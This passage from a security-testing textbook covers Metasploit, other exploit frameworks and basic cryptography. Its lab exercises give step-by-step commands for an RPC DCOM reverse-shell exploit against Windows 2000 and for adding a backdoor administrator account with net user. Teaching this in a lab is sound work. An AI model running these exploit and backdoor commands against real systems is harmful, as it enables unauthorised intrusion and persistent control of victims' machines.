information shown matches the system that will be targeted. As an example,
in Figure 6-9 you may have noticed that although the exploit was designed
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Figure 6-10 Metasploit web IIS Exploit screen.
to work against Windows systems, the exploit has been written explicitly
for Windows 2000 SP0 and SP1. The IPP exploit offers only a single target
selection. Upon clicking that option, the user is taken to the Payload screen, as
shown in Figure 6-11.
The Payload page is where you define the payload type. Metasploit has a
total of 106 payloads, and there are 17 that will work with the IPP exploit
that was previously chosen. These payloads allow the user to specify the
type of code he or she wants to execute. Typically, not all payloads will
work with all exploits. This is because payloads are designed to work on a
specific platform. For example, Windows payloads don’t run on Mac OS X
systems. For the exploit that has been chosen, the IPP buffer overflow, I have
selected the win32 bind code. This exploit opens a socket and binds it to a
listening port. When a connection is established to the listening port, a shell
on the remote system is returned. One thing that makes this so powerful
is that the attacker will now be executing code on the victim’s system with
the privileges and rights of the exploited process. With the exploit selected, the
user is next taken to the exploit and payload configuration, as shown in
Figure 6-12.
Automated Exploit Tools
Figure 6-11 Metasploit web Payload screen.
Figure 6-12 Metasploit web Payload Configuration screen.
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The Configuration page allows the user to set a series of requirements and
optional fields for the exploit and payload. The win32 bind code exploit is
designed to fill in required fields in the form. The user is required to fill in
required fields. The first of these is the Remote Host computer (RHOST). This is
where the user specifies the IP or hostname of the target host. If our target host
were 192.168.123.100, for example, that is what would be entered here. The
next required field is the destination port (RPORT). Because I have targeted
a web service, the port entered would be 80. The payload variable, EXITFUNC,
determines how the payload will be executed when the exploit is through
executing. The default option, SEC, will try to pass control to the exception
handler. The final variable, LPORT, sets the listening port that is bound to the
payload. The default value is port 4444. The Default Encoder is designed to
encode the exploit in such a way to ensure delivery and that no bad characters
are passed. The Default Generator is designed to build the buffer overflow in
such a way to make detection more difficult. With all the required settings
entered, the user has the option to either execute of check the exploit. Not all
exploits have checks, but when they are present, they can be used to verify the
validity of the exploit before the actual attack. Once the exploit is launched,
the status bar at the bottom of the page updates the user as to the status
of the attack. When the exploit completes, the interface indicates that session
has been created.
The session’s page serves as staging point in that all ongoing open sessions
can be accessed there. Clicking the Sessions tab on the toolbar will take the
user to the open session in progress, as shown in Figure 6-13.
Figure 6-13 Metasploit Sessions tab.
Automated Exploit Tools
On the Sessions tab, the user is presented with a web-based remote command shell on the remote system. This can be verified by executing the
ipconfig command and verifying that the IP address of the targeted system
of 192.168.123.100. The attacker now has a command prompt on the victim’s
computer via Metasploit. In our example, we have IUSR MACHINENAME access
to the machine.
On the Sessions page, you will see the options of Session Kill and Session
Break. The Session Break option shuts down the session to the remote system
gracefully by inserting an interrupt and prompting the user to end the session
via the command shell. The Session Kill option opens a dialog box prompting
the user to kill the session immediately.
Metasploit Console
The second way to use Metasploit is via msfconsole. This is one of the
more powerful ways to use Metasploit because it provides the user a
much more granular control over the delivery of an exploit. Upon startup
of the msfconsole, the user has four command-line options:
-h — Display the help screen.
-s — Read and execute a command.
— Display option information.
-q — Do not display a start screen on startup.
The steps involved in executing an exploit with msfconsole are as follows:
1. Optionally list and set the default encoder and NOP generators.
2. Display the available exploit modules.
3. Select an exploit module.
4. Display and select the appropriate target platform.
5. Display and set the exploit options.
6. Display and set the advanced options.
7. Display and set the payload.
8. Optionally run the check functionality.
9. Launch the exploit.
Let’s look briefly at these steps and focus on how they are somewhat
different from those used in the Metasploit web interface mode.
Metasploit allows information to be passed between the framework engine
and the exploit environment. The Metasploit framework is split into environments that include global and temporary variables. Some of these variables
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include general, encoder, and internal variables. The internal variables are
shown here:
Metasploit Framework Environment Variables
===========================================
User-provided options are usually in UPPER SE, with the exception of
advanced options, which are usually Mixed-Case.
Framework-level options are usually in Mixed-Case, internal variables
are usually prefixed with an underscore.
Internal Variables
These variables should never be set by the user or used within a module.
Exploits - Used to store a hash of loaded exploits
Payloads - Used to store a hash of loaded payloads
Nops - Used to store a hash of loaded nops
Encoders - Used to store a hash of loaded encoders
Exploit - Used to store currently selected exploit
Payload - Used to store currently selected payload
PayloadName - Name of currently selected payload
BrowserSocket - Used by msfweb to track the socket back to the browser
Console - Used to redefine the Console class between UIs
PrintLineBuffer - Used internally in msfweb
CacheDir - Used internally in msfweb
IconDir - Used internally in msfweb
Theme - Used internally in msfweb
Defanged - Used internally in msfweb
GhettoIPC - Used internally in msfweb
SessionOD - Used internally in msfweb
The user can first set and list the default encoder and NOP generators.
This can be accomplished with the show encoders command. You can then
set the encoder of your choice with the setg encoder command. It is worth
mentioning that NOP is short for no operation and is nothing more than an
instruction that reserves a place for a future machine instruction. The next
step is to display the available exploit modules and select one for use. The
msfconsole is unlike the web interface, as the exploits will not be listed by
default. To display the lists of exploits, the user must use the show exploits
command. Once an exploit has been chosen, there are again differences
between the web interface, as msfconsole will provide much greater detail on
the details of the exploit.
Upon selecting the exploit, the information is transferred from the temporary
framework to the global environment. Next, the user must display and select
the appropriate target platform. This moves the interface from the main mode
to the exploit mode. New commands are now available as the user displays
Automated Exploit Tools
and sets the exploit options; these include targets, payloads, and options.
Depending on what choices have been made here, advanced options might
be available. Again, these variables are selected with the set command. The
users can now display and select the payload. Payloads can be viewed with
the show payloads command. After assigning the payload, there may be the
option of running a functionality check. These checks are not perfect; they may
return a certain number of false positives and false negatives. It usually best
to determine the vulnerability through other means such as those discussed
in Chapters 4 and 5 of this book. Finally, the user can launch the exploit. If
everything was configured correctly, the attack will be successful.
Metasploit Command-Line Interface
The big difference between the Metasploit console and the Metasploit
command-line interface (msfcli) is that msfcli does not have access to the
underlying operating system. This means it is most useful when no interactivity is required or msfcli is being run as a piece of a script for use with another
program.
The steps involved in executing an exploit under the msfcli are as follows:
1. Pick a suitable exploit module.
2. Choose the appropriate target platform.
3. Select a payload from the available list.
4. Select an exploit and payload options.
5. Execute the exploit.
Updating Metasploit
Now that you have had an overview of Metasploit, you might be eager to
download the tool and try out some of its functionality. Just because it’s an
exploit tool doesn’t mean that it won’t need updates just like any other piece
of software. The Metasploit web site www.metasploit.com provides regular
updates to the framework, including updates to the core program and to the
included exploits. You can access the updates from the program’s Start-menu
msfupdate option or from the command line. From the framework’s installed
folder, enter the following:
./msfupdate -u -f
Metasploit is currently at 191 exploits and 106 payloads. Figure 6-14 shows
some of these payloads.
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Figure 6-14 Metasploit payload options.
ExploitTree
According to http://securityforest.com, the ExploitTree is an organized
attempt to categorize all available exploit code. The goal is to become the
largest up-to-date repository of source code and complied exploits. One
unique feature of the project is the concurrent versioning system. This allows
the user of the project to mirror the contents of the ExploitTree project and
keep a copy on his or her local system that can be updated when the database
is revised. Figure 6-15 shows an example of the database. After choosing
applications and the subcategory of web browsers, you can next see the list of
web server categories. As an example, as of the writing of this book, IIS had a
total of 84 exploits listed.
One way to apply ExploitTree is to use it with the Exploitation Framework,
as discussed next.
Exploitation Framework
Exploitation Framework is similar to Metasploit except that this particular tool
is backed up by one of the largest exploit databases known. It runs off the
ExploitTree database that is publicly available. It is almost scary to examine
how easy this tool is to use, even by the complete novice. Once you have
used a system-level scanner like Nessus to find vulnerability attacks, it can be
launched in four simple steps:
1. Select your exploit from the exploit list.
2. Specify all required parameters.
3. Click the Exploit button.
4. Access the shell that you now have on the victim’s computer.
Automated Exploit Tools
Figure 6-15 ExploitTree online browsing.
Core Impact
This is by far the most advanced of the three tools discussed here. Core Impact
is a mature point-and-click automated exploit and assessment tool. It’s a
complete package that steps the user through the process, starting at scanning
and continuing through the exploit and control phase. This tool is useful for
everyone from the novice to the seasoned security professional. Core Impact
uses a step-by-step approach to penetration testing, as follows:
1. Launch Core Impact and create a new workspace.
2. Gather information about target hosts.
3. Choose wizard mode or advanced mode. (Wizard mode offers a step-bystep guided tour attack interface. Advanced mode offers the user the
choice of specific options as they progress.)
As an example, in advanced mode you can attack hosts by means of exploit mode. Exploit mode allows you to browse files, set the victim’s system as
source, or even open a mini command prompt on the victim’s system. Advance
mode also allows the user to take total control of the victim’s system.
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While exploiting and controlling a system, Core Impact enables the user
to utilize something known as pivoting. Basically, pivoting allows a compromised machine to be used to compromise another. As an example, during
exploitation, the user can set the targeted system as source. This means as that
system is used to attack other vulnerable systems, it (the first compromised
system) appears to be the source of the attack. Once all vulnerable system
have been identified, targeted, and exploited, Core Impact makes it easy to
do cleanup and return the network to the condition it was in before launching the attack. Core Impact is an impressive tool, with the only downside
being its cost. Depending on its configuration and allowed network scope,
it can cost upward of $25,000. To learn more about the tool, check out the
demo that is included on the enclosed DVD or read more at their web site,
www.coresecurity.com/products/coreimpact.
CANVAS
CANVAS is a tool developed by Dave Aitel of Immunitysec.com. It was
written in Python, so it is portable to Windows and Linux. It’s a commercial
tool that can provide the security professional with attack and penetration
capabilities. Like Metasploit, it is not a complete all-in-one tool. It does not do
an initial discovery, so you must add your targets manually. It’s cleaner and
more advanced than Metasploit, but it does require you to purchase a license.
However, this does provide you with updates and support. Overall, this is a
first-rate tool for someone with penetration and assessment experience.
Determining Which Tools to Use
Now that you have seen a few of the tools that can be used for vulnerability
assessment activities, it’s time to start thinking about which ones you are
going to use. A significant factor in this decision process is what type of
assessment you end up performing. You will probably find that system-level
scanners will be some of the most useful tools to use on a regular basic. You’ll
also want to consider the disruption factor. For example, you must determine
what processes, both human and computer, must be put on hold during a
scan. Certain scanning tools run intrusive scans, which can disrupt network
or computer systems as part of their operation. Many tools, however, can be
automated. They can scan machines and networks and report their progress,
or generate a report when done, or both. With these tools, it is possible
to perform scans during off-hours, reducing or eliminating downtime. The
degree of disruption, if any, that the user can tolerate is a big factor to be
considered.
Summary
Picking the Right Platform
You might have noticed that we have seen some tools that work on both
Windows systems and on Linux systems, such as BackTrack. This raises the
issue as to what is the best OS to use for security testing. That varies, because
it really depends on the task. As discussed in Chapter 2, ‘‘Building a Software
Test Platform,’’ there are a couple of ways to address this concern:
Set up a computer as dual boot — Load Windows and your favorite
flavor of Linux on the machine, and you can switch between operating systems as needed. This scenario is workable, but gives you access to
only one operating system at a time.
Set up a Windows system and run BackTrack from a CD or from a USB
thumb drive — Again, this will work, but you have access to only one
system at a time.
Consider using a virtual machine — VMWare and Virtual PC both
enable you to run both operating systems at the same time. This is the
preferred method because you can quickly move between operating
systems.
For the security professional that is going to be performing on-site work, the
virtual machine configuration may be a good choice. It’s portable and gives
you the ability to take it where you need it. From port scanning with Nmap, to
system-level assessments with Nessus, all the way to using Metasploit, you’ll
always be up for the task. Just remember that the tradeoff is that you may give
up some performance by using a laptop.
Summary
Automated assessment tools are an important tool for the security professional.
Products such as Nessus, Retina, LANGuard, and others help provide a
baseline of security. These tools are most useful when used for periodic assessments and reviews. They enable the user to get an overall view of the
vulnerabilities and potential exposure of networked devices. Used along with
inventory management, patch management, and other good security practices,
these techniques can go a long way toward securing the infrastructure.
The other interesting category of assessment tools we discussed are the
exploitation framework and attack tools. These tools are become much more
mature than they were just a few years ago. Metasploit is one of the powerful
tools in this category. It is a free tool that is available for Linux and Windows,
and it allows several different payload modules to be used for any specific
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exploit. The three default interfaces to Metasploit are msfweb, msfconsole, and
msfcli. The msfweb interface uses a web-based control. It can be used by most
browsers. The msfconsole system is the most useful and flexible because it
utilizes an interactive command-line shell. The msfcli interface can be useful
when Metasploit needs to be accessed through a script.
All these tools allow the user to find a vulnerability and then point and click
to exploit. Tools such as Core Impact are not free, but they do allow the user to
seamlessly set the source of exploits and move to total control of the system. Core Impact has a high level of sophistication that uses a methodical
step-by-step approach to penetration testing. It has been developed in such a
way that users with any level of training can use this tool.
Key Terms
Common Vulnerability and Exposure (CVE) — A type of dictionary of
standard terms related to security threats.
Nessus — A system-level security-assessment program.
Public key infrastructure (PKI) — An electronic framework for
trusted security that works much like a driver’s license bureau in the real
world in that it provides a level of trust.
Secure Sockets Layer (SSL) — Developed in 1994 by Netscape as an
encryption protocol that encodes data sent over the World Wide Web
and makes it unreadable to anyone intercepting the transmission by
using a public key cryptosystem.
Transmission Layer Security (TLS) — Functionally, the same as SSL
because it is an application-independent protocol used for establishing a
secure connection between a client and server.
Vulnerability scanner — Software designed to scan for and find vulnerabilities in a network, application, or code.
Exercises
This section presents several hands-on exercises to help reinforce your knowledge and understanding of the chapter. The author selected the tools and
utilities used in these exercises because they are easily obtainable. Our goal is
to provide you with real hands-on experience.
Exercises
Metasploit BackTrack
One of the most popular publicly available attack platforms is the Metasploit
Framework. It combines a long list of exploits with sophisticated payloads.
This exercise uses Metasploit to examine the RPC DCOM (Direct Component
Object Model) vulnerability in unpatched Microsoft Windows products.
Microsoft operating systems such as Windows 2000, Windows XP, and
Windows 2003 support the RPC protocol, which allows a remote program to
execute code locally. One interface to the RPC protocol is DCOM, which listens
on RPC ports and handles RPC requests. A vulnerability in the RPC DCOM
interface allows an attacker to execute arbitrary code and perform arbitrary
actions with system privileges on the target system. Typical actions include
the installation of programs and creation of accounts with full privileges.
In this exercise, you use BackTrack to attack a Windows system. Before
getting started, make sure that you have your BackTrack CD or VM you set
up earlier and a Windows 2000 unpatched computer system running:
1. From the Start menu, go to the K menu ➪ Scanning ➪ Security Scanner
➪ Metasploit Commandline.
2. Start Metasploit by entering the following:
./msfconsole
3. Scanning can take place directly from the Metasploit Framework console. Run Nmap and direct it at your targeted Windows 2000 computer:
nmap -sS -T5 192.168.123.xxx
Note:
Replace 192.168.123.xxx with the address of the
system that you are attempting to scan.
4. Enter show exploits at the prompt to list all available exploits.
5. Select the msrpc dcom ms03 026 exploit by entering the following:
use msrpc dcom ms03 026
6. Next, enter show payloads to list all available payloads that work with
the current exploit. For this example, use a simple reverse connect shell
that can be selected by entering the following:
set PAYLOAD win32 reverse
The response will be:
PAYLOAD -› win32reverse
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N O T E Various other variables can optionally be set, too. For this exercise,
you will utilize only the basic functions of Metasploit. The Metasploit
variables you need to be aware of are these:
RHOST — The remote host you are targeting (in this exercise, the Windows
2000 computer)
LHOST — The local host (the IP address of the BackTrack system)
TARGET — The supported exploit targets (the version of OS that is vulnerable)
7. Enter the IP address of the target with the set RHOST command, as
shown here:
msf msrpc dcom ms03 026 (win32 reverse) › set RHOST 192.168.123.X
The response will be
RHOST -› 192.168.123.75
8. Now show targets, as follows:
msf msrpc dcom ms03 026 (win32 reverse) › show targets
The response will be
Supported Exploit Targets
=========================
0 Windows NT SP6/2K/XP/2K3 ALL
9. Set the TARGET as shown here:
msf msrpc dcom ms03 026 (win32 reverse) › set TARGET 0
The response will be
TARGET -› 0
10. Set the LHOST IP address as shown here:
msf msrpc dcom ms03 026 (win32 reverse) › set LHOST 192.168.123.X
11. After these variables have been set, enter show options to confirm the
settings of your variables. If everything looks correct, enter exploit. If
the target is vulnerable, you will receive a command prompt from the
remote host, as shown here:
msf
[*]
[*]
[*]
[*]
msrpc dcom ms03 026 (win32 reverse) › exploit
Starting Reverse Handler.
Detected a Windows 2000 target
Sending request...
Got connection from 192.168.123.23:4321 ‹-› 192.168.123.75:1027
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\WINNT\system32›
Exercises
12. To verify that you are on the RHOST, enter ipconfig. At this point,
the attacker has local system privilege, meaning an escalation of privilege is not necessary. You can now use your command prompt to
further exploit the victim computer. For example, you might add a
backdoor by adding a new user to the administrator group, as follows:
net user the hacker password /add
net localgroup "administrators" the hacker /add
With this particular exploit, you gained system access; however, many
exploits can cause denial-of-service (DoS) or other issues, which may not result
in a successful attack. In addition, some of the most consistently executable
attacks can also sporadically have unintended results. Ethical hackers must
warn clients of this possible outcome.
Metasploit Windows
Exploit tools such as Metasploit are not just for Linux users. In this exercise,
you use Metasploit Web FE on a Windows XP computer to attack a Windows
2000 system. DCOM will again be the target. This attack allows the attacker
to execute malicious code sent to ports 135, 139, 445, 593, or other configured
TCP/UDP ports that have access to RPC:
1. Before getting started, make sure that you have downloaded Metasploit
from www.metasploit.com.
2. From the Window XP computer, use the Start menu to choose
Programs ➪ Metasploit Framework ➪ MSFWeb. Leave the resulting
command prompt window open for the duration of the attack.
3. Now, start Internet Explorer and enter the URL http://127.0.0.1:55555.
The browser should open the splash screen shown in Figure 6-16.
4. Scroll down in the Internet Explorer window to see the list of exploits.
Choose the Microsoft RPC DCOM MS03-026 exploit, as shown in
Figure 6-17.
Figure 6-16 Metasploit splash screen.
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Figure 6-17 Metasploit exploit screen.
5. Select the platform of your target: Windows NT SP6/2K/XP/2K3 ALL,
as shown in Figure 6-18.
6. Choose the win32 adduser payload, as shown in Figure 6-19.
7. Now you need to specify the details of the attack. These include the IP
address of the computer you are attacking (the Windows 2000 computer) and the name and password of the user that you would like to
create (with administrative privilege). Use the following information:
RHOST — IP address of the Windows 2000 computer
Password — hacker
Username — hacker
Figure 6-18 Metasploit target-selection screen.
Figure 6-19 Metasploit Payload screen.
Exercises
Figure 6-20 Metasploit results.
8. Click the Exploit button when you are ready to perform your exploit. A
system may not always execute this attack successfully because you are
launching a buffer overflow. You will receive no obvious sign to indicate
that the exploit was successful. Your output will probably look similar to
the one shown in Figure 6-20.
9. To verify the success of the attack, see whether you can log in (look in
the user table for your Windows 2000 computer’s confirmation, from
the command line on the targeted system enter net localgroup administrator). If there is no entry for your created user or you cannot log in, the
attack was unsuccessful.
When you have finished exploring the functionality of Metasploit, you have
completed this lab exercise.
Exploring N-Stalker, a Vulnerability Assessment Tool
N-Stalker is a web server security-auditing tool that scans for more than 30,000
vulnerabilities. It is important to consider tools such as this one because the last
few exercises have demonstrated the dangers of having unpatched systems.
You need to download and install N-Stalker from www.nstalker.com.
1. Start N-Stalker from a Windows computer. The program is installed
under Start ➪ Programs ➪ N-Stalker ➪ N-Stalker Free Edition. You will
be presented with the startup screen shown in Figure 6-21.
2. Enter a host address or a range of addresses to scan.
3. Click Start Scan.
4. After the scan completes, the N-Stalker Report Manager will prompt
you to select a format for the resulting report as choose Generate HTML.
5. Review the HTML report for vulnerabilities.
Armed with this report, your next step should be to set priorities on which
services should be patched and hardened.
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Figure 6-21 N-Stalker.
Exploring the SecurityForest.com Web Site
SecurityForest.com is a collaboratively edited forest consisting of trees that
anyone can contribute to. These exploit trees break out in an orderly fashion
so that they display the tools and exploits available for each step of a penetration test and for the exploits available for specific networks, systems, and
applications:
1. Open your browser and go to www.securityforest.com.
2. Notice on the left of the screen that several trees are listed.
3. Click the Exploit Tree online interface.
4. This page will have links for applications, systems, and networks. Click
the Applications link.
5. On this page, you will see links for all the applications that have been
listed in the database. Find the link for web servers, and click the link for
the IIS application.
6. Under IIS, locate the Jill-win32.c exploit code. After you have found
the code, you can view it by clicking the View button. If you have
identified an IIS server susceptible to the IPP printer buffer overflow,
this tool could be compiled and executed to take advantage of that
vulnerability.
Exercises
7. Continue to explore the SecurityForest web site. If you return to the main
page, you will see that there is also a database of tools under the Tool
tree link that lists all tools by category.
8. Finally, click the Exploitation Framework link. The Exploitation Framework is similar to the Metasploit database except that it leverages the
huge amount of exploits in the exploit tree. An available AVI movie
demonstrates the tool at the www.securityforest.com/wiki/index.php/
Exploitation Framework Screenshots page. You can download the
actual browser-based Windows tool from www.securityforest.com/
wiki/index.php/Exploitation Framework Download.
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Understanding Cryptographic
Systems
This chapter takes an in-depth look at cryptographic systems and processes. This is an important topic because everyone deals with encryption in
one form or another. Go to any ATM and insert your debit card, pay at the pump
for gas, or even enter the password on the computer you built in Chapter 1.
Each of these activities involves some type of cryptographic process.
For anyone involved in security, it is important that you understand the
basics of cryptographic systems. This includes symmetric encryption, asymmetric encryption, and public key infrastructure (PKI). Understanding how
these systems works provides the building blocks for analyzing systems that
security engineers work with, including identification and authentication systems. Authentication can be based on passwords, tokens, or biometrics. No
matter how the activity or authentication is performed, most likely some
cryptographic processes are involved. As an example, if it is an encrypted
password, how is the password encrypted? Is it some form of symmetric
encryption, asymmetric, or maybe a password hash? Knowing these details
will help you assess how strong the system is and what potential weaknesses
the system may have. In your lab you may want to assess passwords or other
encrypted values. Understanding cryptography will help you understand how
to perform tasks such as password cracking.
Encryption
On the most basic level, encryption is designed to keep secrets. This is nothing
new. As long as man has existed, there has been a need to keep secrets.
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The ancient Hebrews used a basic cryptographic system called ATBASH that
worked by replacing each letter used with another letter the same distance
away from the end of the alphabet; A was seen as a Z, and B was seen as a Y.
The Romans had a system known as Caesar’s cipher. Caesar’s cipher worked
by a shift of 3 so that an A would be replaced with a D. Both ATBASH and
Caesar’s cipher are examples of a substitution cipher in which each letter in the
plaintext is replaced by a letter that is some fixed number of positions down
the alphabet. An example of this can be seen in Figure 7-1.
A B C D E F G H
A B C D E
Figure 7-1 Caesar’s cipher.
The Spartans also had their own form of encryption called Scytale. This
system functioned by wrapping a strip of papyrus around a rod of fixed
diameter on which a message was written. The recipient used a rod of the
same diameter on which he wrapped the paper to read the message. If
anyone intercepted the papyrus, it appeared as a meaningless message. More
complicated systems have been developed through the ages, and by the early
20th century complicated mechanical devices such as Enigma were being
used to encrypt and decrypt data. Enigma was a German substitution cipher
machine that was capable of being used in the field. During WWII its cipher was
broken by a group of individuals located at Station X, which is actually an
estate located in Bletchley, England.
Encryption can take on many different forms. The examples just described
are types of secret key or symmetric encryption. It’s effective but requires
a common shared key. This can be a problem because the key must not
be disclosed to a third party; otherwise, confidentiality cannot be ensured.
Asymmetric encryption overcomes some of the problems associated with
symmetric encryption but comes with its own drawbacks. One is the fact that
it is much slower than symmetric encryption. Finally, there is the one-way
cryptographic process. This is known as hashing. Although used primarily to
ensure integrity, it’s another powerful tool for security professionals. Each of
these concepts has to do with cryptography, which is the study of secret writing.
Cryptology comprises cryptography and cryptanalysis. The study of trying to
break cryptographic codes without the key is known as cryptanalysis.
Many times you may hear the term code or cipher used. A code uses symbols
or groups of letters to represent words or phrases. A cipher works by replacing
Encryption
one letter with another by either a simple or a complex scheme. Are codes and
ciphers unbreakable? The only unbreakable system known is a one-time pad
(Vernam cipher). This cryptographic system uses a key that is the same length
as the message and the key is only ever used once.
Now let’s look at each of these topics in more detail.
Secret Key Encryption
As mentioned earlier, symmetric encryption is a technology by which a single
shared secret key is used for encryption and decryption. Figure 7-2 describes
this process.
Before we go too far with symmetric encryption, let’s first define some basic
terms and describe how the general process works. Consider, for instance, that
I have bought a shiny new bike and want to secure it with a combination lock.
This might be a problem because I usually have a hard time remembering
numbers without writing them down. Encryption may offer a solution. The
actual combination is 3-12-62. Let’s call that the message. To keep the message
from being exposed in clear text, I am going to need to use an algorithm. The
algorithm is going to be addition. Finally, I need a cryptographic key. Let’s use
the number 18. Together, the algorithm and the key can be used to secure the
message (combination) by simply adding 18 to each of the numbers so that
the encrypted value becomes 21-30-80. With the encrypted value determined,
I can actually even write the value 21-30-80 on the back of the lock. I just
have to remember to subtract 18 off of each of the numbers to decrypt the
encrypted message and retrieve the correct combination. If I decide to let a
friend use the bike, I can simply tell him what the key and algorithm are and he
can combine that knowledge with the encrypted data to decrypt the original
combination. Although modern cryptographic systems may not always be this
straightforward, the overall process remains the same.
Clear Text
Encrypt
Encrypted
Data
Secret
Key
Decrypt
Same key used
for both encryption
and decryption
Clear Text
Data
Figure 7-2 Symmetric encryption.
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Symmetric encryption uses what are known as dual-use keys. This means
that the same keys can be used to lock and unlock data. Symmetric encryption
is the oldest form of encryption, and some basic examples include Scytale and
Caesar’s cipher. Symmetric encryption provides confidentiality. Confidentiality is ensured because only the individuals who have the keys know the true
contents of the message.
This requires a secure key exchange: the weakness of symmetric key encryption is that it requires a secure key exchange. Movement of the secret key from
one party to another must typically be done in some type of out-of-band
method. Here’s an example. If I email the key, anyone who can access the
email can potentially intercept the key. Perhaps I could send the key written on
a postcard. Here again, the postman or anyone else who has access to the mail
can intercept the key and thereby compromise the security of the encrypted
information. Because of this, an out-of-band key exchange must be used. A
common out-of-band method is in-person delivery.
Symmetric encryption also suffers from scalability issues. If I need to
communicate details about this chapter to the publisher and nine other people
in a secure manner, for example, the total keys needed would be calculated
as follows: N (N − 1)/2, or 10 (10 − 1)/2 = 45 keys. As this demonstrates,
key management becomes the second big issue when dealing with symmetric
encryption.
Before you start to think that there’s only bad news here, there are actually
some good features of symmetric encryption. Symmetric encryption is fast
and very hard to break if a large key is used. Symmetric algorithms include
the following:
AES — All good things must end, and that is what NIST decided in
2002 when Rijndael replaced DES and became the new U.S. standard for
encrypting sensitive but unclassified data.
Blowfish — This is a general-purpose symmetric algorithm intended as
a replacement for the Data Encryption Standard (DES) algorithm.
DES — Data Encryption Standard once was the most common symmetric algorithm used. It has now been officially retired by the National
Institute of Standards and Technology (NIST).
IDEA — International Data Encryption Algorithm is a block cipher that
uses a 128-bit key to encrypt 64-bit blocks of plaintext. It is used by PGP
(Pretty Good Privacy).
RC4 — Rivest Cipher 4 is a stream-based cipher. Stream ciphers treat the
data as a stream of bits.
RC5 — Rivest Cipher 5 is a block-based cipher. RC5 processes data in
blocks of 32, 64, or 128 bits.
Rijndael — This is a block cipher adopted as the Advanced Encryption
Standard (AES) by the U.S. government to replace DES.
Encryption
SAFER — Secure and Fast Encryption Routine is a block-based cipher
that process data in blocks of 64 and 128 bits.
By themselves these symmetric algorithms may not seem that exciting.
Their value to us when building a lab is how they can be applied as security
solutions. For example, consider PGP. Phil Zimmerman initially developed
PGP in 1991 as a free email-security application. This was big news at the time,
as the U.S. government brought criminal charges against him, accusing him of
exporting munitions. Charges were eventually dropped and PGP, while not
a standard, has gained huge support throughout the industry. PGP works by
using a public-private key system that uses the IDEA algorithm to encrypt
files and email messages. It provides a means of using encryption with email
and overcomes the vulnerability of clear text communication.
Data Encryption Standard
DES is worth our examination because it is an established standard and
has been used extensively in many different products. DES grew out of an
early-1970s project that was originally developed by IBM. IBM and NIST took
IBM’s original encryption standard, known as Lucifer, and modified it to use
a 56-bit key. The revised standard was endorsed by the National Security
Association (NSA). The DES standard was published in 1977 and was released
by the American National Standards Institute (ANSI) in 1981.
DES is a symmetric encryption standard that is based on a 64-bit block. DES
processes 64 bits of plaintext at a time to output 64-bit blocks of ciphertext.
DES uses a 56-bit key and has four common modes of operation: Electronic
Codebook (ECB) mode, Cipher Block Chaining (CBC) mode, Cipher Feedback
(CFB) mode, and Output Feedback (OFB) mode.
All four modes use the 56-bit key. Although the actual standard reports the
key to be 64 bits, 8 bits are actually used for parity; their purpose is to ensure
the integrity of the remaining 56 bits. Therefore, for all practical purposes, the
key is really only 56 bits long. Each 64-bit plaintext block is separated into two
32-bit blocks and then processed by the 56-bit key. The plaintext is processed
by the key through 16 rounds of transpositions and substitutions. Now let’s
examine how DES can be implemented.
Electronic Codebook Mode
ECB is the native encryption mode of DES. Although it produces the highest
throughput, it is also the easiest form of DES encryption to break. If used with
large amounts of data, it can be attacked easily because the same plaintext
encrypted with the same key will always produce the same ciphertext. This is
why it is best used on small amounts of data such as the encryption of PINs at
ATMs.
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Cipher Block Chaining Mode
The CBC mode of DES is widely used and is similar to ECB. CBC processes
64-bit blocks of data but takes some of the ciphertext created from the previous
block and inserts it into the next one. This process is called XORing; it makes
the ciphertext more secure and less susceptible to cracking. CBC is aptly
named because data from one block is used in the next; therefore, the blocks
are chained together. As they are chained, any error in one block can be
propagated to others. This may make it impossible to decrypt that block and
the following blocks, too.
Cipher Feedback Mode
CFB is a stream cipher that can be used to encrypt individual characters.
Although it is a stream cipher, it is similar to OFB in that previously generated
ciphertext is added to subsequent streams. Because the ciphertext is streamed
together, errors and corruption can propagate through the encryption process.
Output Feedback Mode
OFB is also a stream cipher. Unlike CFB, OFB uses plaintext to feed back into
stream of ciphertext. Transmission errors do not propagate throughout the
encryption process. An initialization vector is used to create the seed value
for the first encrypted block. DES XORs the plaintext with a seed value to be
applied with subsequent data.
Triple DES
To extend the usefulness of the DES encryption standard, something had to be
done. On first thought, you might be thinking that if DES is good, then double
DES must be twice as good. Unfortunately, that is not the case, as double DES
is susceptible to a meet-in-the-middle attack. The solution was to move to
triple DES (3DES). 3DES can use two or three keys to encrypt data, depending
on how it is implemented. Although it is much more secure, it is up to three
times as slow as 56-bit DES. Below you will see some of the ways in which
Triple DES can be implemented.
DES EEE2 uses two keys. The first key is reused during the third round
of encryption. The encryption process is performed three times (encrypt,
encrypt, encrypt).
DES EDE2 uses two keys. Again, the first key is reused during the third
round of encryption. Unlike DES EEE2, DES EDE2 encrypts, decrypts,
and then encrypts.
DES EEE3 uses three keys and performs the encryption process three
times.
DES EDE3 uses three keys but operates by encrypting, decrypting, and
then encrypting the data.
Encryption
Advanced Encryption Standard
Rijndael (which is pronounced as ‘‘rain doll’’) was chosen by NIST to be the
replacement for an aging DES. Rijndael serves as the Advanced Encryption
Standard (AES). Rijndael is a block cipher that supports variable key and block
lengths of 128, 192, or 256 bits. It is considered a fast, simple, robust encryption
mechanism. Rijndael is also known to be very secure. Even if attackers used
distributed computing and invested millions of dollars in computing power,
AES should be resistant to attacks for many years to come. Therefore, it is the
symmetric algorithm of choice when high security is needed.
One-Way Functions (Hashes)
As mentioned previously, one of the things cryptography offers its users is the
capability to verify integrity. Just consider the following situation. You attend
a local community college where you are taking a security class. One of your
classmates offers you a copy of a CD with free security tools. While you accept
the disk, you’re a little leery of what is really on the disc. So, you take the disc
home and before you run any of the tools, you look them up on the Web. One
of the tools has the following listed on the creator’s web site.
Security bundle v0.27 security bundle-0-27.zip
(MD5: 53c77733109f3d7b33a5143703e8cf05)
Notice the MD5 sum? Wanting to make sure that the tools were not tampered
with, you take the tools on the CD and run a hashing tool (such as MD5sum).
Here is the result:
Security bundle v0.27 security bundle-0-27.zip
(MD5: 36c757722109a4c1a21a9123394e8as95)
Notice how the MD5sums are different? This verifies that there is a difference
between the two tool sets. Although it might just be a different version, it may
also mean that the tools you were given on the CD were tampered with.
The MD5sums shown above are examples of message digests. Message
digests are produced by using one-way hashing functions. They are not
intended to be used to reproduce the data. The purpose of a digest is to verify
the integrity of data and messages. A well-designed message digest examines
every bit of the data while it is being condensed, and even a slight change to
the data will result in a large change in the message hash. The message digest
(MD) and secure hash (SHA) family of message digests are some of the most
well known.
Hashes are unique in the way they are one-way. It’s nearly impossible
